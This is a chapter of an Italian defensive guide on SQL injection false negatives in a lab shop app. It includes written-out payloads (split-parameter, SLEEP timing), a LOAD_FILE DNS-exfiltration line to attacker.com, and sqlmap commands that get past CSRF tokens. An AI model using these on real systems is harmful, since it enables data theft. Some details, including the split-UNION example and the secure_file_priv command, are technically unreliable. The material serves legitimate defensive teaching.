SQL Injection: Anatomia, Rilevazione e Difesa — Guida Pratica per Professionisti della Sicurezza
Capitolo 9 di 10 · aggiornato 03 lug 2026
Quando le difese falliscono: risoluzione dei falsi negativi e degli attacchi evasivi
Quando le Difese Falliscono: Troubleshooting di Falsi Negativi e Attacchi Evasivi
Ogni difesa ha delle falle. Ho visto WAF (Web Application Firewall, filtri che ispezionano il traffico HTTP) registrare allegramente "PASS" mentre il database dietro di loro perdeva dati a fiotti. Ho visto prepared statement che avrebbero dovuto bloccare l'injection senza appello, e invece l'attaccante se ne è andato con la tabella dei clienti. Questa pagina è per le 3 del mattino: stai guardando prove che qualcosa è andato storto, i tuoi controlli dicono il contrario, e devi trovare la falla prima che inizi il turno successivo.
I cinque sintomi qui sotto sono pattern che ho incontrato ripetutamente nelle valutazioni — incluso il nostro laboratorio ShopBox su 192.0.2.10. Ognuno segue la stessa struttura: cosa vedi, cosa probabilmente significa, come confermarlo, come chiuderlo e come tenerlo chiuso.
Riferimento Rapido Sintomo-Causa
| Cosa stai vedendo | Causa radice probabile | Primo posto dove guardare |
|---|---|---|
| WAF pulito, DB in picchiata | Payload frammentati su più parametri | Log dell'applicazione per keyword divise |
| Prepared statement distribuiti, injection persiste | Identificatori dinamici nella struttura della query | Code review della costruzione di tabelle/colonne |
| sqlmap vuoto, manuale compromesso | Stato della sessione o validazione dei token | Gestione CSRF di sqlmap e --eval |
| Esfiltrazione silenziosa, nessun errore | Canali out-of-band (DNS, timing) | Log DNS di rete e varianza dei tempi di query |
| Gap di audit durante incidente noto | Rotazione dei log o fallimento dello storage | Capacità del filesystem e configurazione di rotazione |
Esempio Pratico: Il Payload Frammentato Che È Passato
Questo è quello che mi ha insegnato a non fidarmi mai di un singolo log "PASS". Durante una valutazione su ShopBox, la nostra istanza ModSecurity (controlla la release corrente per le specifiche del tuo prodotto WAF) ha segnalato la richiesta di ricerca come pulita. Il general log MySQL su 192.0.2.20 raccontava una storia diversa.
Sintomo: Il WAF riporta 200 OK e msg: Access allowed per ogni richiesta a /search, ma SHOW PROCESSLIST su 192.0.2.20 mostra connessioni Sleep sostenute che si accumulano e raffiche periodiche di attività Query a intervalli insoliti.
Indicatore osservato: I log dell'applicazione mostrano due parametri che arrivano insieme:
# output illustrativo — verifica sul tuo target
192.0.2.100 - - [14/Mar/2024:03:17:22 +0000] "GET /search?term=shoes&cat=1 HTTP/1.1" 200 4823
192.0.2.100 - - [14/Mar/2024:03:17:23 +0000] "GET /search?term=UNI&cat=ON%20SELECT%20sleep(5)-- HTTP/1.1" 200 4823
Aspetta. UNI e ON SELECT sleep(5)? Nessun parametro contiene una keyword SQL completa. Il pattern WAF per UNION non si attiva mai perché la stringa è divisa tra term e cat. L'applicazione — come trattato in precedenza nella discussione sulla concatenazione di stringhe — assembla questi valori lato server in ... WHERE name LIKE '%shoes%' AND category = 1, ma con i valori avvelenati diventa ... WHERE name LIKE '%UNI%' AND category = ON SELECT sleep(5)--.
Causa radice: HTTP Parameter Pollution (HPP) o semplice frammentazione multi-parametro. L'attaccante distribuisce frammenti di payload su parametri che l'applicazione concatena o interpola in un singolo contesto di query.
Passo di verifica: Ricostruisci cosa l'applicazione costruisce effettivamente. Nel laboratorio ShopBox, tracciamo questo con il general query log di MySQL:
# Su 192.0.2.20 — abilita il general log temporaneamente per diagnosi
mysql -u admin -p -e "SET GLOBAL general_log = 'ON'; SET GLOBAL log_output = 'TABLE';"
# Attendi il traffico sospetto, poi ispeziona
mysql -u admin -p -e "SELECT argument FROM mysql.general_log WHERE argument LIKE '%UNI%ON%';"
# output illustrativo — verifica sul tuo target
# | SELECT * FROM products WHERE name LIKE '%UNI%' AND category = ON SELECT sleep(5)-- |
Perché questo è importante: La tabella
mysql.general_logcattura la stringa di query effettiva dopo tutta la manipolazione lato applicazione. Se il tuo WAF vede i parametri in isolamento e il tuo database vede la query assemblata, sei cieco di fronte alla falla.
Fix: Le query parametrizzate sono necessarie ma non sufficienti qui — la vulnerabilità è nella logica di assemblamento, non solo nell'esecuzione. Per la ricerca di ShopBox, abbiamo riscritto il query builder per validare category contro un allowlist di ID interi prima di qualsiasi costruzione di stringhe:
// Prima: assemblaggio vulnerabile
$query = "SELECT * FROM products WHERE name LIKE '%" . $_GET['term'] . "%' AND category = " . $_GET['cat']; // Dopo: ricostruzione validata
$allowed_cats = [1, 2, 3, 4, 5]; // dal database o cache
$cat = filter_input(INPUT_GET, 'cat', FILTER_VALIDATE_INT);
if (!in_array($cat, $allowed_cats, true)) { $cat = 1; // default sicuro
}
$stmt = $pdo->prepare("SELECT * FROM products WHERE name LIKE ? AND category = ?");
$stmt->execute(["%" . $term . "%", $cat]);
Prevenzione: I WAF necessitano di regole consapevoli del contesto che valutino le combinazioni di parametri, non solo i singoli valori. Il comportamento varia per versione WAF — controlla la documentazione del tuo vendor per le capacità di rilevamento HPP. Architetturalmente, non assumere mai che "parametrizzato = sicuro" quando la struttura della query stessa è dinamica.
Sintomo: Prepared Statement Distribuiti, Injection Persiste
Indicatore osservato: La code review o i log di errore mostrano query come SELECT * FROM ? WHERE id = ? che falliscono, o ORDER BY ? che restituiscono ordini di ordinamento inaspettati. Il prepared statement è sintatticamente corretto; l'injection è nella metastruttura.
Causa radice: I prepared statement legano valori, non identificatori. Nomi di tabelle, nomi di colonne e clausole ORDER BY sono struttura della query, non valori. Se la tua applicazione fa ORDER BY $_GET['sort'] con qualsiasi input utente che raggiunge quella posizione, hai un punto di injection che i placeholder ? non possono risolvere.
Passo di verifica: Nella cronologia ordini di ShopBox, abbiamo trovato questo pattern:
# Sul server applicativo ShopBox 192.0.2.10 — cerca identificatori dinamici
grep -rn "ORDER BY" /var/www/shopbox/includes/
grep -rn "FROM \." /var/www/shopbox/includes/ # nomi di tabella in backtick o variabili
Fix: Usa whitelist, non parametrizzazione, per gli identificatori. Per le colonne ordinabili di ShopBox:
$allowed_sort = ['date' => 'created_at', 'total' => 'order_total', 'status' => 'status'];
$sort_key = $_GET['sort'] ?? 'date';
$sort_column = $allowed_sort[$sort_key] ?? 'created_at'; // default se non nella whitelist
// Ora $sort_column è garantito sicuro; proviene dal nostro array, non dall'input utente
$query = "SELECT * FROM orders WHERE user_id = ? ORDER BY {$sort_column}";
$stmt = $pdo->prepare($query);
$stmt->execute([$user_id]);
Sintomo: sqlmap Non Trova Nulla, Test Manuale Conferma la Vulnerabilità
Indicatore osservato: Esegui sqlmap contro il login di ShopBox su http://192.0.2.10/login, riporta [WARNING] GET parameter 'username' does not seem to be injectable. Costruisci manualmente admin' AND (SELECT * FROM (SELECT(SLEEP(5)))a)-- e la risposta ritarda esattamente cinque secondi.
Causa radice: La generazione automatica delle richieste di sqlmap non corrisponde al ciclo di vita della sessione dell'applicazione. Il form di login di ShopBox, come molte applicazioni reali, richiede un token anti-CSRF valido (un valore casuale rilasciato dal server per prevenire attacchi Cross-Site Request Forgery, dove siti dannosi inviano form per conto di un utente). sqlmap invia il token che ha ricevuto per primo; il server rifiuta le richieste successive con quel medesimo token.
Passo di verifica: Cattura il comportamento del token:
# Osserva la rotazione del token — due richieste sequenziali con lo stesso token
curl -c cookies.txt -b cookies.txt "http://192.0.2.10/login" | grep "csrf_token"
# Invia lo stesso token due volte, osserva il rifiuto della seconda
Fix: sqlmap può gestire questo, ma devi dirgli come. Controlla la release corrente di sqlmap per il comportamento esatto delle flag; le flag sotto esistono ma i default possono variare:
# Estrai un token fresco prima di ogni tentativo di injection
python sqlmap.py -u "http://192.0.2.10/login" \ --data="username=test&password=test&csrf_token=TOKEN" \ --csrf-token="csrf_token" \ --csrf-url="http://192.0.2.10/login" \ --csrf-method=GET \ --csrf-retries=2 \ -p username --batch
Perché questo è importante:
--csrf-tokennomina il parametro da aggiornare.--csrf-urldice a sqlmap dove recuperare un token fresco. Senza questi, sqlmap sta effettivamente riproducendo uno stato di sessione scaduto — lo stesso errore che fa riuscire i tester manuali dove l'automazione fallisce.
Per parametri firmati con HMAC o gestione complessa delle sessioni, --eval ti permette di eseguire codice Python per calcolare valori derivati:
python sqlmap.py -u "http://192.0.2.10/api/search" \ --data="q=test&sig=PLACEHOLDER" \ --eval="import hmac,hashlib; sig=hmac.new(b'secret', q.encode(), hashlib.sha256).hexdigest()" \ -p q --batch
⚠️ Solo uso autorizzato e difensivo. Questo esempio
--evalassume che tu conosca la chiave di firma da una legittima code review — estrarre segreti da sistemi di produzione che non ti appartengono è illegale.
Sintomo: Nessun Messaggio di Errore, Ma Dati Esfiltrati
Indicatore osservato: L'applicazione risponde normalmente. Nessun errore SQL nei log. Eppure domini controllati dall'attaccante appaiono nei log delle query DNS, o i tempi di risposta mostrano varianza statisticamente significativa correlata con condizioni della query.
Causa radice: Esfiltrazione out-of-band. Quando l'output diretto è impossibile (nessun messaggio di errore, nessun output visibile con UNION), gli attaccanti usano canali che l'applicazione non controlla. L'esfiltrazione DNS funziona perché il database può innescare lookup verso domini dell'attaccante contenenti dati: SELECT LOAD_FILE(CONCAT('\\\\', (SELECT password FROM users LIMIT 1), '.attacker.com\\a.txt')) su MySQL, o varianti COPY ... TO PROGRAM su PostgreSQL su 192.0.2.30.
Passo di verifica: Monitora il DNS al perimetro di rete, non nell'applicazione:
# Sul resolver DNS o sensore di perimetro — cerca sottodomini ad alta entropia
tcpdump -i eth0 port 53 | grep -E "[a-z0-9]{20,}\.attacker\.com"
# Oppure ispeziona i log di query per pattern che corrispondono a dati codificati
Per l'analisi dei tempi, misura le distribuzioni delle risposte. Il timing differenziale significa che l'attaccante pone una domanda vero/falso e osserva il ritardo: IF (ASCII(SUBSTRING(password,1,1)) > 64, SLEEP(5), 0). Nessun dato attraversa il canale, ma il tempo trapeli il bit.
Fix: Disabilita funzioni pericolose a livello di database. Su MySQL 192.0.2.20:
-- Limita funzioni che possono iniziare connessioni di rete
SET GLOBAL secure_file_priv = "/dev/null"; -- o un percorso inesistente
-- Verifica il valore corrente
SHOW VARIABLES LIKE 'secure_file_priv';
Su PostgreSQL 192.0.2.30, rivedi pg_hba.conf e disabilita COPY TO PROGRAM tramite appropriate restrizioni di privilegio — il comportamento varia per versione, controlla la documentazione della release corrente.
A livello di rete: filtraggio dell'egress sui host database. Il server MySQL su 192.0.2.20 non dovrebbe aver bisogno di risolvere domini esterni arbitrari.
Sintomo: Gap nei Log di Audit del Database Durante Finestra di Attacco Nota
Indicatore osservato: Sai dai log dell'applicazione che richieste sospette hanno colpito ShopBox tra le 02:00 e le 04:00. La traccia di audit del database ha voci per le 01:58 e le 04:12, nulla in mezzo.
Causa radice: Errore di configurazione della rotazione dei log o esaurimento dello storage. Questo è il pattern di audit HSM dalla nostra trattazione precedente applicato al logging del database — i principi si trasferiscono. Se audit config interval (o l'equivalente del tuo DBMS) ruota i file a una soglia di dimensione, e la rotazione fallisce perché il filesystem di destinazione è pieno, alcune implementazioni smettono di loggare piuttosto che crashare. Altre ruotano in una directory che i script di pulizia poi eliminano.
Passo di verifica: Controlla lo stato del filesystem e la configurazione di rotazione:
# Su 192.0.2.20 — esamina lo stato del plugin di audit di MySQL e lo spazio su disco
mysql -u admin -p -e "SHOW GLOBAL STATUS LIKE 'Audit_log%';"
df -h /var/log/mysql/
ls -lt /var/log/mysql/ | head -20
# output illustrativo — verifica sul tuo target
# -rw-r----- 1 mysql mysql 1.1G Mar 14 04:00 audit.log.1
# -rw-r----- 1 mysql mysql 0 Mar 14 04:00 audit.log <-- zero byte, rotazione fallita?
Fix: Assicurati che la destinazione della rotazione abbia capacità, e configura avvisi prima dell'esaurimento. Per il plugin di audit di MySQL:
# Imposta una dimensione ragionevole e assicura il monitoraggio
mysql -u admin -p -e "
SET GLOBAL audit_log_rotate_on_size = 104857600; -- 100MB, regola per il tuo volume
"
In termini semplici: I tuoi log di audit sono evidenza solo se esistono quando ne hai bisogno. Un disco pieno durante un incidente è peggio che nessun logging — ti dà falsa fiducia.
Prevenzione: Monitora la capacità del filesystem dei log come metrica critica, non come pensiero dopo. Testa la rotazione sotto carico. La categoria "First Symmetric Key Usage Only" dal logging HSM — logging selettivo efficiente in termini di spazio — ha un parallelo nel database: logga solo DDL e login falliti se il volume ti sopraffà, ma sappi cosa non stai registrando.
Checklist di Chiusura per la Risposta agli Incidenti
Quando le tue difese riportano pulito ma il tuo intuito dice il contrario:
- [ ] Ricostruisci le query effettive dai general log del database, non dai parametri dell'applicazione
- [ ] Verifica che i prepared statement non siano bypassati da identificatori dinamici
- [ ] Conferma che l'automazione gestisca correttamente lo stato della sessione e i token
- [ ] Controlla canali DNS e timing per esfiltrazione silenziosa
- [ ] Valida la continuità dei log di audit e la capacità del filesystem
Queste falle non significano che le tue difese sono inutili. Significano che le difese sono sistemi, e i sistemi hanno interfacce dove le assunzioni falliscono. Il lavoro dell'attaccante è trovare quelle interfacce. Il tuo è sapere che esistono prima che il cercapersone suoni.
Trattato in seguito: come verificare le tue fix senza causare accidentalmente DoS in produzione — la pagina di validazione e verifica discute metodologie di test controllato.